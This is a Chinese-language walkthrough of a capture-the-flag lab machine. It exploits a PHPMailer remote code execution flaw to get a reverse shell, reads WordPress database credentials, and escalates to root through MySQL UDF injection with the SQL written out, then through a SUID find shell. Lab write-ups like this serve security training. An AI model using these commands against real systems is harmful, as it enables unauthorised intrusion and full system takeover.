先nmap扫一下存活端口

可以发现有22,80,111这几个端口

首先从web下手,dirb扫一下目录可以知道是个wp站点

并且发现/vendor目录存在目录遍历

在/vendor/PATH目录下发现flag1以及其绝对路径

在/vendor/VERSION目录下得知PHPMailer版本号5.2.16

在kali中搜索phpmailer可以发现有个PHPMailer<5.2.18-远程命令执行

修改一下直接打

然后访问shell.php,并设置端口监听

成功反弹shell后找到wp的配置文件,发现数据库的账号密码:root/R@v3nSecurity

并且可以看到mysql服务启动了

nc模式下的shell不支持su交互,我们先生成一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

通过find命令找到flag3图片的路径

成功登入mysql后,可以看到是mysql5.5.60

接着我们尝试使用udf提权,搜一下可以看到一个可利用的

然后我们将1518.c本地编译一下再上传

开启web服务

然后wget传进去1518.so

上传成功后,在靶机上链接mysql数据库并操作

create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');  

最后提权后得到flag4

touch foo
find foo -exec "whoami" \;
find foo -exec "id" \;
find foo -exec "/bin/sh" \;

前面没找到的flag2在www-data的home目录中